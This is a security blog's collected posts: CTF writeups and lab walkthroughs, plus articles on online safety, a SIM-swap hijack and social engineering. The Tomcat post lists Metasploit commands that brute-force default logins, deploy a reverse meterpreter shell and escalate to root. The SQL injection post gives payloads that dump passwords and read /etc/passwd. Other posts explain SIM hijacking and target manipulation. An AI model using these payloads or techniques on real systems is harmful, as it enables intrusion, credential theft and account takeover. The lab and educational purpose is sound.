Using the SHA1 collision attack to solve the BostonKeyParty CTF challenge

| Posted in Security Articles |


This is a writeup to the Boston Key Party CTF 2017 Prudential challenge – which I took part in over the weekend. .

I viewed the source of the webpage and found out an index.txt file was being referenced.

Snippets below:

require 'flag.php';
if (isset($_GET['name']) and isset($_GET['password'])) {
    $name = (string)$_GET['name'];
    $password = (string)$_GET['password'];
    if ($name == $password) {
        print 'Your password can not be your name.';
    } else if (sha1($name) === sha1($password)) {
      die('Flag: '.$flag);
    } else {
        print '<p class="alert">Invalid password.</p>';
} ?>


Two conditions need to be met here – to display the flag.

  1. The $name entered must not be the same as the $password
  2. The sha1($name) must be the same as sha1($password)


My thought-process at this point was to have different values for $name and $password but with the same sha1 signature. What immediately comes to mind is the SHA1 Collision attack recently revealed by the google team.

According to the google team, “It is now practically possible to craft two colliding PDF files and obtain a SHA-1 digital signature on the first PDF file which can also be abused as a valid signature on the second PDF file.”

Two different PDF files with the same checksum are available here:

I then came up with a quick and dirty python script to do the job. This script takes the value of the first pdf as parameter “name” and the second pdf as parameter “password”

import requests
import urllib2
rotimi = urllib2.urlopen("").read()[:500];
letmein = urllib2.urlopen("").read()[:500];
r = requests.get('', params={'name': rotimi, 'password': letmein});
print r.text

After running this, I got the flag : FLAG{AfterThursdayWeHadToReduceThePointValue}

CSAW CTF Quals 2016 Writeups

| Posted in Security Articles |


This weekend was a very busy one for me – as I had to participate in 2 CTF events – MITRE and CSAW Quals with my team, NaijaSecForce. We placed 191th out of 1274 teams in the CSAW Quals. Below is the writeup for some of the challenges I solved.

Forensics – Kill

Is kill can fix? Sign the autopsy file?



We were given a .pcapng file. This was quite easy as our old friend, Grep – did the job.

ICECTF 2016 Writeups

| Posted in Security Articles |


I recently just started participating in CTF events with my team, NaijaSecForce. However, due to time constraints, it has always been a struggle coming up with writeups on how we solved some of the challenges. Luckily, ICECTF 2016 was on for 2weeks – so I was able to come up with writeups for some of the challenges I solved.

ICECTF is a Jeopardy-style CTF where you are given a question or task where you are suppose to extract a flag from it. I participated with my team NaijaSecForce and we placed 188th out of 1696 teams (yaaay. .we made top 11% :-).  So without further ado, let’s get to cracking.

[VIDEO] Droopy: v0.2 CTF Solution

| Posted in Security Videos |


This video demonstrates how I solved the vulnhub Droopy v0.2 CTF challenge.



  • Use Netdiscover to get the IP address of our target (Reconnaisance)
  • Use Nmap to do a detailed scan of the target (Information Gathering)
  • Use a publicly-available drupal exploit to creat admin account (Gaining Access)
  • Upload a reverse connect script which will open an outbound TCP connection from the webserver to your host (Remote Access)
  • Use a Ubuntu local privilege escalation exploit to gain root privileges (Privilege Escalation)

Tips to staying safe online this festive season

| Posted in Security Articles |


The holiday season is upon us and as always, we all are scrambling to get the best deals online and in stores. However, a few wrong clicks this season could land cybercriminals topping your list of people who will be receiving presents this year.

This year has witnessed lots of significant breaches ranging from a $40m cyber-heist by a Nigerian bank IT worker to the huge data leakage at Sony, just about a week ago.

Information Security expert, Rotimi Akinyele of PhynxLabs said online users can easily put themselves and their devices at risk, unless they take precautions and avoid the common mistakes highlighted below that could compromise their security.


Beware of the Bank Verification Number (BVN) Scam

The ongoing Bank Verification Number (BVN) introduced by the CBN as a means of uniquely identifying bank customers across the Nigerian Banking industry has provided a fertile ground for cyber criminals to defraud unsuspecting bank customers.

Scam emails purportedly sent from Banks/CBN are in circulation urging bank customers to visit a website to activate their BVN online as failure to do so would result in their account(s) and debit cards being deactivated.

Please note that BVN registration can only be done physically at a bank’s branch. There is no technology now to replace the physical capture of your biometric data which the BVN seeks to achieve.

Do NOT access your accounts from Public WIFi

Just because a WiFi is free doesn’t mean you should connect to it any time it’s available. When you’re banking or making other online payments, it’s better to connect with EDGE or 3G, even if it’s slower. It might only be 45seconds of doing an online bank transaction, but if the wireless network has been compromised, that is more than enough time needed for a cyber-criminal to collect your data.

Use a secure password

It’s crucial to always use strong passwords as passwords are the first line of defense against cyber crooks. Try not to use names of your family, pets, first car, mother’s maiden name, etc. as all these can be easily guessed, brute forced or even available on social media sites like facebook, twitter or instagram. Make sure to use a mixture of characters, numbers, and letters of at least 8 characters when choosing your password; as only this will add a high level of difficulty for any attempted password theft.  Also, do not reuse your passwords as a compromise on one would translate to a compromise on all.

Stay safe on social networking sites

Social media sites are increasingly becoming targets for spams, scams and other online attacks. Asides mining data from tons of “status updates” for targeted attacks, cyber criminals have mastered the act of baiting unsuspecting users with well-crafted short but compelling posts offering free entry to a Christmas competition with a fantastic prize. The general rule is “there is no free lunch or freebies on the internet – if you’re not buying a product then you are the product”. Users who click the links then inadvertently act as accomplices to the cyber-criminals because the malicious scripts would automatically re-post the links, images or videos on their contacts’ walls or timelines. If an offer looks too good to be true, it probably is. Do NOT click.

Protect yourself from fraudulent emails

If you receive an email urging you to download an unknown tax payment attachment or an email informing you of an urgent pending transaction and you need to login with your details to verify, DELETE that email. Such emails usually trick users into visiting the site, and once you do, viruses and spywares get downloaded on your device which automatically joins you to a network of enslaved computers that have been programmed to carry out malicious deeds. No reputable organization would send emails to collect user names, passwords, token keys or Debit/Credit card details.


The threats to your online accounts increase daily, however, the tips above can help you stay protected online while still providing the convenience online access offers you this holiday.

Stay safe online and happy holiday!

Rotimi Akinyele is the Chief Security Evangelist at PhynxLabs where he leads the application and Network security competency.

[VIDEO] Gaining Root via the Apache Tomcat Service

| Posted in Security Videos |


This video demonstrates how to exploit the Apache tomcat service on Metasploitable. Metasploitable is another vulnerable VM designed to practice penetration testing.

In this video, I will show you how to scan the system, find one of the vulnerable services "Apache Tomcat" and then exploit the service to gain root access.



  • Use Netdiscover to get the IP address of our target (Reconnaisance)
  • Use Nmap to do a detailed scan of the target (Information Gathering)
  • Use Metasploit to brute force the Apache Tomcat Manager login (Gaining Access)
  • Use Metasploit to upload and execute the payload (Remote Access)
  • Use Metasploit to gain root privileges (Privilege Escalation)


netdiscover -r
nmap -T Aggressive -sV -v
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set RPORT 8180
search tomcat
use exploit/multi/http/tomcat_mgr_deploy
set USERNAME tomcat
set PASSWORD tomcat
set RPORT 8180
set payload java/meterpreter/reverse_http
set target 1
use exploit/linux/local/udev_netlink
sessions -i



  • Song – Bucie feat Heavy K – Easy to Love
  • Video Length – 8minutes


At the end of it all, we were able to get a remote root shell from a vulnerable Apache Tomcat service. In a real world pentest scenario, we would try to explore the machine and retrieve as much sensitive information as possible. We could even use this machine to pivot into the entire Network.


Kindly use the comment box below for feedbacks


– InfosecShinobi

[VIDEO] NotSoSecure Capture The Flag Competition Walk-through

| Posted in Security Videos |


The team behind put out a public Capture The Flag competition to celebrate the launch of SQLi Labs.

The CTF was based mostly on SQL Injection vulnerabilities found in web applications. The goal was to find 2 hidden flags and submit them to and to also stand a chance at getting one free ticket to the AppSec USA Conference plus $125 cash.

Find below a workthrough of how I did this



  • I started off by trying to guess usernames/passwords using the common ones i.e. admin/admin, admin/pass, admin/1234, etc but the web application kept throwing up errors.
  • So next step was to try and check the request/response being sent to/recieved by the server.
  • I configured my Burp Proxy so I could interfere all requests being sent; while looking closely, I noticed there was an additional data embedded in the 302 response I got "7365637265745f72656769737465722e68746d6c".
  • I immediately sent it to the hex decoder, decrypted it to plain text and lo and behold, I had "secret_register.html".
  • So I fired up my browser again and visited "".
  • Right before me was a "Registration Page". I then tried registering with admin but got an error that the username "admin" had been taken.
  • Next step was to sign up using another username. This time, I used "hax0r123" and I was able to register and I eventually logged in as user "hax0r123".
  • After checking everything else, I resorted to checking my cookies and realised I had 2 cookies : PHPSESSID and session_id.
  • The session_id cookie looked suspicious especially 'cos it looked like a base64 encoded string. I then fired up my browser again and visited so I could decrypt it. Decrypted it and found out it was the email we registered with that got encoded.
  • I then tried re-registering with email "" and also realised the same thing: our registered email account gets base64 encoded and reflects back to the page.
  • Next step was to register with username : bb' or 'bb' = 'bb
  • When sent, we'll have a query like this "SELECT * FROM Users WHERE Username=bb' or 'bb' = 'bb //We are assuming that the tablename "users" and the columnname "username" exists.
  • I logged in, viewed the cookie, decrypted the base64 string "YWRtaW5Ac3FsaWxhYnMuY29t" and we had "".
  • Next step was to retrieve the password but first, we had to get the tablename. .
  • So we used the query "rotimi' union select (select table_name FROM information_schema.columns WHERE column_name LIKE '%pass%'), '1"
  • I was actually telling the web app to select the tablename that has a column_name like "pass". .I registered, checked the cookie field, decrypted the string and I found out we have a table called "users".
  • Next step was to pull the password from the table "users" using the query
  • "rotimi' union all select password from users–"
  • But after this, I discovered we had only 1 cookie "PHPSESSID"  and the other cookie "session_id" was deleted. I immediately knew there was something wrong with the query.
  • So I added a second column and my new query became
  • "rotimi' union all select password,null from users–"
  • I checked the cookies, decrypted the session_id value and poof, I had the password "sqlilabRocKs!!"
  • So I logged in with username/password : admin/sqlilabRocKs!! aand I was logged in as the admin.
  • I also went further to see if we have access to load files using the query
  • "rotimi' and 1=2 union select load_file('/etc/passwd'),null–"
  • w000t?!!!



rotimi' union select (select table_name FROM information_schema.columns WHERE column_name LIKE '%pass%'), '1

rotimi' union all select password from users--

rotimi' union all select password,null from users--

Username :
Pssword: sqlilabRocKs!!

rotimi' and 1=2 union select load_file('/etc/passwd'),null--


Sadly, I wasn't able to get the 2nd flag but then, this exercise was awesome and at the same time challenging.

Big Ups to the NotSoSecure Team.

[VIDEO] From SQL injection to shell II – Detailed Walk-through

| Posted in Security Videos |








This video details the exploitation of a blind SQL injection in a PHP based website and how an attacker can use it to gain access to the administration pages. Then, using this access, the attacker will be able to gain code execution on the server by using a configuration issue.This video is a detailed walkthrough to a hacking challenge created by PentesterLab.

What you will learn?


  • Blind SQL injection exploitation using time-based exploitation
  • Hiding Webshell Backdoor Code in Image Files
  • Gaining code execution using a PHP webshell





  • See-Saw-yasashii yoake TV-size
  • A Stray child – Emily Bindinger
  • Affectivity by projeqht


Kindly use the comment box below for feedbacks


– InfosecShinobi

How Airtel Security Flaw Led To Website Hacking

| Posted in Security Articles |


In the space of one hour, the entire webmaster board was overloaded with several threads titled “ got hacked”. On checking one of the threads, I hurriedly fired up my browser, checked the Naijaloaded site and poof, I had a defaced webpage before me.

Next thing I did was to send Naijaloaded’s owner a mail informing him of the hack which he then replied to this morning saying “They Swapped my SIM, Used the Forgot Password Features and Yahoo Sent the Guy my Code, he then Changed my Yahoo Password and Requested for a Password Changing Note from my Domain Registrar, Then he finally Changed my DNS”.

At first, I didn’t understand the swapping part. So I fired up my browser again and started crawling through webpages with the dork “Airtel Nigeria instant swap”.

After much crawling, I learnt that to swap your airtel sim (i.e. to hijack another person’s airtel sim), all you need is

1. An airtel swap sim which goes for just N300 and offered for sale here
2. Four (4) most dial’d no
3. The serial number on the new airtel swap sim

. .and in 20mins max, d new Sim will be ready.

That easy yeah?!

After the “hacker” swapped Naijaloaded’s owner SIM, he went on to use Yahoo’s Forgot Password Features which yahoo then sent the hacker a code (to the swapped sim), he then Changed his Yahoo Password after which the hacker requested for a Password Changing Note from Domain Registrar and ended up changing ‘s DNS.

A brilliant social engineering attack it was!

This clearly exposes vital security flaws in several customer service systems.

All a malicious person need know to hijack your SIM is your 4 most dial’d nos (your dad, mom, girlfriend, line manager, direct subordinate, etc).

You know what this means? You can directly intercept that scheduled business call by hijacking that Big Oga’s sim.

The guy that perpetrated this act not only digitally hacked the owner but they socially hacked him too as he could receive calls on his behalf.

It’s quite upsetting that the ecosystem that we’ve placed so much of our trust in(In this case Airtel) has let some of us down so thoroughly.

Social Engineering, albeit a new one in the Nigerian space, is here to stay. .Folks Are You Ready?

NB: I originally posted this blogpost here. You can follow-up the discussion there

Working with People: An Introduction to Social Engineering

| Posted in Security Articles |


A reader sent me this great article on Social engineering, so I decided to share with you all. Enjoy 🙂

Humans are inherently social creatures who have developed a world strongly based on interacting with others. Just like the world of information technology, the human social protocols are a complex series of rules and guidelines for how people behave when interacting with each other, and just like any other system, there are methods to use and abuse it once you understand the rules that govern it. Social engineering is a broad subject, but in this article we will focus mostly on social engineering as it is used to gain access to social groups and sensitive information.

What Is Social Engineering?


Social engineering is using the common tendencies of how people interact with others in order to gain information or a benefit of some kind. Effectively, social engineering can be referred to as the hacking of people. Before the Internet age, social engineering would more likely be referred to as conning, but the scope of social engineering’s applications goes beyond tricking people out of money. It is about causing people to act according to your wishes. Getting someone to say yes to a date is social engineering. So is getting your company a contract from a tough client. In regards to information security, social engineering is getting people to give up protected information.

A social engineering definition can be found here.

How Effective Is Social Engineering?


Even companies that place a high focus on securing their information networks can prove extremely vulnerable to social engineering attacks. DefCon, one of the largest hacking conferences in the world, routinely features a social engineering competition that has demonstrated over and over again that simple tactics can be used to get enough information to potentially do harm to a company. Position in the company also seems to have almost no effect on how susceptible a person is to social engineering; a big wig is just as likely to give up information as a cashier, but the big wig also usually has access to more pertinent info.

Social engineering is gaining attention for its insidious effectiveness, and is starting to get recognized in the media and the corporate world. Check out these news articles for an idea of how it is being perceived:

Smooth-Talking Hackers Test Hi-Tech Titan’s Skills – A look at DefCon hacking competitions, utilizing social engineering within legal boundaries to ferret out intelligence designed to weaken a company’s security.

Social engineering to blame in Syrian Electronic Army hijack of the Onion – The targets of these sorts of attacks aren’t always the ones you might expect, the Onion was a recent victim of a phishing scheme.

Facebook Social Engineering Attack Strikes NATO – Often, the targets are important, such as this attack against NATO. Every organization contains a human element, the target of savvy social engineers.

How a lying ‘social engineer’ hacked Wal-Mart – Many people are naturally biased to trust based on a set of subtle criteria; a tone of voice, a style of dress, even word choices can lead people to give credence to otherwise nonsensical ideas or situations, like this Wal-Mart store manager being duped into giving away company data in exchange for a non-existent contract possibility.


General Tips for Social Engineering


These are common guidelines and methods used by social engineers before and during any assignment on which they are working. These focus more on the preparation and mindset of the social engineer than the actual attack methods that are used.

Do Your Research


Take a look at this seminar on social engineering strategies.

Information is everywhere. If there is a topic you want to know about, you usually only need to glance at the Internet. Reading the news and press releases from a company can give you a firm background history from which to work. A social media site may give you insights into the temperament of a person or give you an idea of the social scene in which they operate. If you are trying to infiltrate a group or become closer to a person with any notable focus, then the Internet can be used to familiarize yourself with the topic.

Hackers may go above and beyond in this regard. If they manage to gain access to someone’s email account or messaging service, there may be records of conversations that can be used to mimic the person in electronic communications or learn about key topics that anyone on the inside should know about.


Read full article here: